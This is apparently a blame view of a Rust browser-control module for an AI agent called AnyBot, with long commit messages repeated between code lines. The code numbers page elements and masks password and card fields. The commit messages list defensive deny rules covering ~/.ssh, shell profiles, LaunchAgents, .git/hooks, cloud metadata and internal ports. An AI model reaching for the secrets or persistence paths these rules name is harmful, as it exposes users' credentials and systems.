gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
else {
kind = '輸入框'; text = label(el);
const ac = (el.autocomplete || '').toLowerCase();
const nm = [el.name, el.id, el.placeholder, text].join(' ');
const digits = (el.value || '').replace(/\D/g, '');
const secret = t === 'password' || el.hasAttribute('data-anybot-vault-secret') || ac === 'cc-number' || ac === 'cc-csc' || (digits.length >= 13 && digits.length <= 19) || (/cvc|cvv|csc|security.?code|安全碼/i.test(nm) && digits.length >= 3 && digits.length <= 4);
extra = secret ? (el.value ? '(已填)' : (t === 'password' ? '(密碼)' : '')) : (el.value ? '目前:' + clean(el.value).slice(0, 40) : '');
if (el.readOnly) extra += '(唯讀,點它會打開選擇器)';
}
}
else if (el.isContentEditable) { kind = '輸入框'; text = label(el) || clean(el.innerText).slice(0, 40); }
else if (tag === 'button' || role === 'button' || tag === 'summary') kind = '按鈕';
else if (role === 'tab') { kind = '分頁標籤'; if (el.getAttribute('aria-selected') === 'true') extra = '(目前)'; }
else if (role === 'menuitem' || role === 'menuitemcheckbox' || role === 'option' || role === 'treeitem') { kind = '選單項目'; if (el.getAttribute('aria-selected') === 'true' || el.getAttribute('aria-checked') === 'true') extra = '(已選)'; }
else if (role === 'combobox') { kind = '下拉選單'; extra = clean(el.innerText).slice(0, 40); }
else if (role === 'link') kind = '連結';
else if (role === 'checkbox' || role === 'switch' || role === 'radio') { kind = '勾選框'; extra = el.getAttribute('aria-checked') === 'true' ? '已勾' : '未勾'; }
else if (role === 'gridcell' || tag === 'td') { kind = '格子'; const full = el.getAttribute('title') || el.getAttribute('aria-label') || el.getAttribute('data-date') || (el.closest('[title]') || {}).title || ''; if (full && full !== text) text = text ? text + '(' + full + ')' : full; }
else { kind = '可點的項目'; const cell = el.closest('td[title],[role=gridcell][aria-label],[data-date]'); if (cell) { kind = '格子'; const full = cell.getAttribute('title') || cell.getAttribute('aria-label') || cell.getAttribute('data-date'); if (full && full !== text) text = text ? text + '(' + full + ')' : full; } }
if (!text && !extra) continue;
if (el.disabled || el.getAttribute('aria-disabled') === 'true') extra += '(停用)';
const key = kind + '|' + text + '|' + extra;
if (seen.has(key)) continue;
seen.add(key);
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
n += 1;
let num = prev.get(el); if (!num || used.has(num)) num = next++;
used.add(num); listed.add(el); el.setAttribute('data-anybot-ref', String(num));
out.push('[' + num + '] ' + kind + '「' + text + '」' + (extra ? ' ' + extra : '') + (inView(el) ? '' : ' (要捲動)'));
if (n >= %MAX%) break;
}
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
for (const e of prev.keys()) if (!listed.has(e)) e.removeAttribute('data-anybot-ref');
window.__anybotRefNext = next;
return JSON.stringify({t: document.title, u: location.href, list: out, more: ordered.length > n});
})()"#;
/// The numbered list of what can be clicked or filled.
pub fn elements(tab: &mut Tab) -> Result<(String, String, Vec<String>, bool), String> {
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
let v = tab.eval(&ELEMENTS_JS.replace("%DEEP%", DEEP_JS).replace("%MAX%", &MAX_ELEMENTS.to_string()))?;
let p: Value = v.as_str().and_then(|s| serde_json::from_str(s).ok()).unwrap_or(Value::Null);
let list = p["list"].as_array().map(|a| a.iter().filter_map(|x| x.as_str().map(String::from)).collect()).unwrap_or_default();
Ok((p["t"].as_str().unwrap_or("").into(), p["u"].as_str().unwrap_or("").into(), list, p["more"].as_bool().unwrap_or(false)))
}
/// Draws a numbered box over every listed element that is on screen (removed after the shot).
const MARKS_JS: &str = r#"(() => {
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
%DEEP%
const old = document.getElementById('__anybot_marks'); if (old) old.remove();
const box = document.createElement('div'); box.id = '__anybot_marks';
box.style.cssText = 'position:fixed;inset:0;pointer-events:none;z-index:2147483647';
const colors = ['#e11d48', '#2563eb', '#16a34a', '#d97706', '#9333ea'];
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
for (const el of deepAll('[data-anybot-ref]')) {
const r = el.getBoundingClientRect();
if (r.bottom < 0 || r.top > innerHeight || r.right < 0 || r.left > innerWidth || r.width < 2) continue;
const n = el.getAttribute('data-anybot-ref'); const c = colors[n % colors.length];
const f = document.createElement('div');
f.style.cssText = `position:fixed;left:${r.left}px;top:${r.top}px;width:${r.width}px;height:${r.height}px;border:1.5px solid ${c};border-radius:3px;box-sizing:border-box`;
const tag = document.createElement('div');
tag.textContent = n;
tag.style.cssText = `position:fixed;left:${Math.max(0, r.left - 1)}px;top:${Math.max(0, r.top - 15)}px;background:${c};color:#fff;font:bold 11px/14px -apple-system,Arial;padding:0 3px;border-radius:3px`;
box.appendChild(f); box.appendChild(tag);
}
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
for (const el of deepAll('[data-anybot-vault-secret],input[type=password],input[autocomplete="cc-number"],input[autocomplete="cc-csc"]')) {
const r = el.getBoundingClientRect();
if (r.bottom < 0 || r.top > innerHeight || r.right < 0 || r.left > innerWidth || r.width < 2) continue;
const m = document.createElement('div');
m.style.cssText = `position:fixed;left:${r.left}px;top:${r.top}px;width:${r.width}px;height:${r.height}px;background:#000;border-radius:3px`;
box.appendChild(m);
}
document.documentElement.appendChild(box);
return 1;
})()"#;
const SNAPSHOT_JS: &str = "JSON.stringify({t: document.title, u: location.href, x: document.body ? document.body.innerText : ''})";
fn snapshot(tab: &mut Tab) -> (String, String, Vec<String>) {
let v = tab.eval(SNAPSHOT_JS).unwrap_or(Value::Null);
let p: Value = v.as_str().and_then(|s| serde_json::from_str(s).ok()).unwrap_or(Value::Null);
let lines = p["x"].as_str().unwrap_or("").lines().map(str::trim).filter(|l| !l.is_empty()).map(String::from).collect();
(p["t"].as_str().unwrap_or("").into(), p["u"].as_str().unwrap_or("").into(), lines)
}
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
/// The most of a field's text a typing step reports back.
const FIELD_SHOWN_CHARS: usize = 400;
/// The focused field (through shadow roots), as `el`, for the scripts below.
const FOCUSED_JS: &str = "let el = document.activeElement; while (el && el.shadowRoot && el.shadowRoot.activeElement) el = el.shadowRoot.activeElement;";
/// What the focused field holds (an editor's lines too).
fn field_text(tab: &mut Tab) -> String {
let js = format!("(() => {{ {FOCUSED_JS} if (!el) return ''; return (el.isContentEditable ? el.innerText : (el.value !== undefined ? el.value : '')) || ''; }})()");
tab.eval(&js).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_default()
}
/// Put text into the focused field in one go. Lines, or long text in Firefox (whose typing is a
/// key at a time), go in like a paste (an editor such as Threads' takes a paste event whole, line
/// breaks and all), else by the browser's own insertText — each checked by what the field holds
/// after it (Firefox hands an editor a paste event without its text). A post used to take four
/// steps for this (a file, the clipboard, a click, ctrl+v). Typed keys only when neither took.
fn insert_text(tab: &mut Tab, text: &str) -> Result<(), String> {
if text.contains('\n') || (tab.is_firefox() && text.chars().count() > 30) {
let t = serde_json::to_string(text).unwrap_or_default();
let before = field_text(tab);
let paste = format!("(() => {{ {FOCUSED_JS} if (!el) return false; try {{ const dt = new DataTransfer(); dt.setData('text/plain', {t}); const ev = new ClipboardEvent('paste', {{clipboardData: dt, bubbles: true, cancelable: true, composed: true}}); return !el.dispatchEvent(ev); }} catch (e) {{ return false; }} }})()");
if tab.eval(&paste)?.as_bool() == Some(true) {
// (An editor may put the text in a moment later.)
settle(150);
if field_text(tab) != before {
return Ok(());
}
}
let exec = format!("(() => {{ {FOCUSED_JS} if (!el) return false; return document.execCommand('insertText', false, {t}); }})()");
if tab.eval(&exec)?.as_bool() == Some(true) && field_text(tab) != before {
return Ok(());
}
}
tab.call("Input.insertText", json!({"text": text})).map(|_| ())
}
/// How a step that changed nothing on the page is told.
const NO_CHANGE: &str = "頁面看起來沒有變化";
/// The text box the cursor is in now (its label, placeholder or first words), or "" when it isn't
/// in one.
fn focused_field(tab: &mut Tab) -> String {
const JS: &str = "(() => { let e = document.activeElement; while (e && e.shadowRoot && e.shadowRoot.activeElement) e = e.shadowRoot.activeElement; if (!e) return ''; const t = (e.type || '').toLowerCase(); const box = e.isContentEditable || e.tagName === 'TEXTAREA' || (e.tagName === 'INPUT' && !['button','submit','checkbox','radio','file','reset','image','hidden'].includes(t)); if (!box) return ''; const c = s => (s || '').replace(/\\s+/g, ' ').trim(); return (c(e.getAttribute('aria-label')) || c(e.getAttribute('placeholder')) || c(e.getAttribute('aria-placeholder')) || c(e.innerText) || '輸入框').slice(0, 40); })()";
tab.eval(JS).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_default()
}
/// What an action changed: the address, and the lines of text that are new.
fn changes(before: &(String, String, Vec<String>), after: &(String, String, Vec<String>)) -> String {
let mut out = vec![];
if before.1 != after.1 {
out.push(format!("網址變成:{}", after.1));
}
if before.0 != after.0 {
out.push(format!("標題:{}", after.0));
}
let old: std::collections::HashSet<&String> = before.2.iter().collect();
let new: Vec<&String> = after.2.iter().filter(|l| !old.contains(l)).collect();
let gone = before.2.iter().filter(|l| !after.2.contains(l)).count();
if new.is_empty() && gone == 0 && before.1 == after.1 {
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
out.push(format!("{NO_CHANGE}(可能要等一下、換一個元素,或用 browser_screenshot 看看)。"));
} else if !new.is_empty() {
let shown: Vec<String> = new.iter().take(40).map(|l| l.chars().take(160).collect()).collect();
out.push(format!("新出現的文字:\n{}{}", shown.join("\n"), if new.len() > 40 { format!("\n…還有 {} 行(用 browser_read 看全部)", new.len() - 40) } else { String::new() }));
}
out.join("\n")
}
// ---------- finding an element ----------
/// The element a bot means: its number, else visible text / label / placeholder.
Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings Permissions and reach - a file leaving a computer passes the same questions as reading it; "looking" shell commands that do more than look ask first - a symlink out of the work/sealed folder counts as outside it (real paths, not just lexical ones); the search walk skips links - web_fetch and skill_install read the public web only: localhost, the LAN and cloud metadata are refused, at every redirect - preview shows a file without running it; browser_upload may ask - vault: logins no longer match across shared suffixes (pages.dev, com.tw, ...); registrable_domain knows public suffixes - axwrite: found elements are retained (use-after-free) Relay - replacing or turning off 2FA needs the current code (rate-limited); new recovery codes only count once enrollment is verified - a removed computer loses its socket and its `call` access - a site name taken by another account answers 409 - RELAY_TRUST_PROXY: the login lock counts the caller's address, not the proxy's (compose files and README) - httpd: half a body is not a request Desktop - sign-in, join and restore work with 2FA on (code field; --serve reads ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code) - Windows: text was typed twice; modifiers are held through click, drag and scroll; horizontal scroll; screen control is no longer refused - a recording that hits the limit is transcribed, not thrown away - bot's computer: a new home volume restores the snapshot; a snapshot is read through before the home is wiped; a failed volume removal stops reset/restore - events of a stopped turn no longer land in the next one; each channel message gets a turn of its own - saving a bot's settings keeps what it got meanwhile (three-way merge); a save file that cannot be read is kept - pages in Big5/GBK/Shift_JIS are read in their own encoding (encoding_rs); osascript output past 64 KB no longer stalls - pick_tab keeps a job's own non-http tab; pictures larger than the texture limit are fitted; the auto-update time field takes typing - skills live in <data>/skills; memories are unnumbered in the prompt; the phone may skillify and skill_install CI - the test step fails when the tests fail (it piped into tail) Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged. Not run: Windows on a real machine (win.rs type-checked alone), the Docker paths of the bot's computer, the live accessibility writes. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-10 03:46:17 +00:00
/// The way browser_scroll goes: up, top, bottom, or (anything else) down.
fn scroll_direction(asked: &str) -> &'static str {
match asked.trim().to_lowercase().as_str() {
"up" => "up",
"top" => "top",
"bottom" => "bottom",
_ => "down",
}
}
fn find_js(r#ref: &str, text: &str) -> String {
let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default();
let tx = serde_json::to_string(text.trim()).unwrap_or_default();
format!(
r#"(() => {{
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
{deep}
const rf = {rf}, tx = {tx};
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a 